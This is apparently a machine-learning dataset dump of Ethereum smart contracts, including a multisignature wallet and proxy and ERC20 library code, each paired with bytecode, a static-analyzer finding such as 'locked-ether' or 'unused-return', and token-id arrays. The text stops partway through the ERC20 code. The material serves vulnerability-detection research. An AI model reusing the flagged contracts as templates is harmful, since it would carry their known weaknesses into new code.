* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220534bff614106906a798f80ac31baafa1ceef5a753a4e13ef5e8fd8f8c20f3caa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 27717, 2575, 2063, 29097, 7959, 2487, 10354, 2549, 2094, 24434, 2050, 27009, 2581, 17465, 4783, 17788, 2683, 2487, 2063, 2620, 2549, 2497, 2575, 2487, 2063, 20842, 2575, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 18804, 9692, 8528, 2100, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,357
0x96a213fb5347925093d20a9420e5633f1ff57c3a
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b600380546000190190610684908261147a565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611367565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561135f576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a506112f295600160a060020a03909216949093919083908301828280156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b5050505050611457565b156113275760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261135f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561137f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ff9260028501929101906114a3565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561149e5760008381526020902061149e918101908301611521565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e457805160ff1916838001178555611511565b82800160010185558215611511579182015b828111156115115782518255916020019190600101906114f6565b5061151d929150611521565b5090565b610b9791905b8082111561151d57600081556001016115275600a165627a7a72305820e1853efd555d1650c34bcae5790c0f6aa5efd7497e6c9f06db3f2959de347ac30029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 17465, 2509, 26337, 22275, 22610, 2683, 17788, 2692, 2683, 29097, 11387, 2050, 2683, 20958, 2692, 2063, 26976, 22394, 2546, 2487, 4246, 28311, 2278, 2509, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2321, 1025, 1013, 1013, 1013, 1030, 2516, 4800, 5332, 16989, 11244, 15882, 1011, 4473, 3674, 4243, 2000, 5993, 2006, 11817, 2077, 7781, 1012, 1013, 1013, 1013, 1030, 3166, 8852, 2577, 1011, 1026, 8852, 1012, 2577, 1030, 9530, 5054, 6508, 2015, 1012, 5658, 1028, 3206, 4800, 5332, 2290, 9628, 3388, 1063, 1013, 1008, 1008, 2824, 1008, 1013, 2724, 13964, 1006, 4769, 25331, 4604, 2121, 1010, 21318, 3372, 25331, 12598, 3593, 1007, 1025, 2724, 7065, 23909, 1006, 4769, 25331, 4604, 2121, 1010, 21318, 3372, 25331, 12598, 3593, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,358
0x96a23b889552683dd70ce048d0a32bc3e44362f7
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level 